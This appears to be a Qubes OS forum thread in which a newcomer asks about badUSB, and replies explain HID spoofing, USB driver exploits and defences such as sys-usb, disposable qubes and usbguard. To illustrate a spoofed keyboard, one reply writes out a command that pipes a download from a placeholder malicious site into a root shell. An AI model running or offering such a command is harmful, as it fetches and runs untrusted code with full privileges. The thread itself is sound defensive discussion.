badUSB & Qubes Questions

Hi, I’m new and wanted to ask some questions about badUSB and Qubes. To clarify what I think I already know. Anyone who reads this if I’m correct or wrong please correct me. This thread could help other people trying to learn some of this material in the future.

  1. It’s not a safe idea to keep a USB drive plugged in the Qubes computer because there is a period of no protection between the USB Drive and computer top. If the USB Device has something bad in it like badUSB there is a chance it can pass over during a boot. So its better to let it turn on before plugging anything in. And its better to unplug any untrusted USB devices when shutting down. So hypothetically if you get a badUSB device and plug it into the computer and then reboot the computer with the badUSB device plugged in then it can infect the entire machine. Correct? But if you plug in a badUSB device while the Qubes computer is already online and only expose a random VM to it then you pull that USB device out before shutting down you will be safe. (Of course I’m speaking very hypothetical.)

  2. Qubes can help against badUSB to an extent. But its not perfect. When you plug in a USB device to a Qubes laptop you are safe up until you select which VM to connect that USB Device to. So although Qubes can isolate badUSB from Dom0 you are still exposing a VM to the USB Device to potentially badUSB.

  3. Lets say a person wanted to plug in a USB Microphone. And lets say that USB Microphone had some sort of bug in it. Wouldn’t the elaborate security in Qubes be able to stop such a bugged or badUSB Microphone from doing its job? Don’t those things require using access to things that Qubes blocks.

I’ve been trying to fully grasp all this information so if anyone can help educate me if I am not fully understanding this please let me know. I’m also sorry if I sound confusing.

First, understand the threats:

  • USB device that pretends to be something other than what it visually looks like
  • USB device that tries to exploit known vulnerabilities in an operating system USB stack (which can include third-party USB drivers)

Realization (forget about Qubes right now):

  • A USB mouse that tells the OS it’s really a keyboard: the mouse can now send keystrokes, such as curl http://malicious.site/malware | sudo /bin/sh
  • A USB mouse that is a mouse, but it knows there’s a bug in the HID input driver that can lead to kernel mode code execution. From there that mouse essentially has full control over your computer.

Knowing that, the Qubes approach is to limit and isolate those interactions. dom0 is the most sacred in Qubes/Xen land, so the better we can prevent USB devices talking to the dom0, the better.

Those protections come in the form of:

  • Blocking USB (once Xen hands control to dom0 at bootup) while entering disk password
  • Limiting USB communication to an untrusted qube (sys-usb)
  • Using sys-usb and the Qubes device widget to attach specific USB interfaces to a qube

I notice you use phrases like “it’s not safe”, “you are safe until”, etc. You should answer “safe from what” first.

But the generic answer is:

  1. Limit what you plug into your computer
  2. Use the facilities Qubes provides you to attach USB devices to only the qubes needed
  3. When that doesn’t work, use a disposable sys-usb qube.

The Qubes ideology is the groundbreaking realization that - all code has bugs and vulnerabilities. We will never know all of them, so let’s do as much as we can to stop most of them, have an easy way to recover from exploited bugs (disposable VMs, non-perstent root, etc), yet still have a usable system.

4 Likes

Great answer.
I’d add that you can help with those protections, by using multiple
sys-usb qubes, allocating different USB controllers to each, and
splitting your mouse and keyboard permissions between them, using the
policy files. That way, a mouse that tries to send keyboard presses
will not get to dom0.
You can also leverage dbus to restrict what sort of device is
recognised on each qube, to protect against mistakenly plugging a keyboard
in to the “mouse sys-usb”.
I would always use disposableVMs as the sys-usb qubes to reduce the
risk of an attack.

3 Likes

Wow, Thank you both! This really helped me internalize how this mechanic works. icequbes1 and uman Thank you both! I had to read all that a couple of times to let it sink in but I think I got it now. Now, I know what I need to study next! :smiley:

1 Like

I am confused about this.

As long as the “mouse sys-usb” has its policy set to no keyboard input, shouldn’t this fully protect it against accidentally plugging a keyboard into the qube?

Is there some documentation about using dbus to restrict the sort of device which is recognized?

well, really, what we need is sensible udev policy in sys-usb that would not allow additional HIDs unless explicitly authorized.

there are tools to make this easy already, like usbauth or usbguard. and please please don’t even start with that “you should have ps/2 keyboard for better security” :-/

2 Likes